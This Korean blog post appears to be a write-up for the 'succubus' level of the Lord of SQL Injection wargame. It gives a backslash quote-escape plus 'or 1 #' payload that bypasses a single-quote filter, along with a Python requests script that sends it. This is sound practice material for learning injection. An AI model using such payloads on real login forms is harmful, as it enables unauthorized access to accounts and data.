본문으로 바로가기

LOS 16(succubus)

category LOS-write up 2021. 1. 5. 05:28

문제

문제 분석

id와 pw에 "prob" , "_" , ".","'"(싱글쿼터)를 피해 id에 값이 들어있으면 문제가 풀린다.

 

이때 싱글쿼터가 필터링 되어있어 이를 우회하는게 핵심이다.  

 

문제 풀이

pw에 '(싱글쿼터)를 넣어주어 아무값도 없게 만들고 or를 입력해서 뒤에 쿼리를 id='admin' 으로 조작한다

where id='/' and pw=' or 1 # '
=where id ='' or 1 #'

=>  id에 / 를 넣어주게 되면 바로뒤에 싱글쿼터가 우회 되며 파란색인 "/' and pw=" 가문자열로 인식 

 

따라서 id에 ''이 들어가게 되고 pw에 or 1로 참인 쿼리문을 넣어주면 id값에 들어가는것 처럼 처리가 된다.

이후 뒤의 싱글쿼터를 주석 처리 해주면 문제가 풀린다.

 

 

문제 정답

URL?id=/&pw=or 1 #

url을 조작할시 # %23으로 입력해줘야한다.

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}

#싱글 쿼터 역슬래쉬로 우회

data['id']="\\"  #/ 하나만 사용하면 이스케이프 문자로 사용되므로 두개를 사용해야 하나로 인식
data['pw']="or 1 #"  
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 18(nightmare)  (0) 2021.01.05
LOS 17(zombie_assassin)  (0) 2021.01.05
LOS 15(assassin)  (0) 2021.01.05
LOS 14(giant)  (0) 2021.01.05
LOS 13(bugbear)  (0) 2021.01.03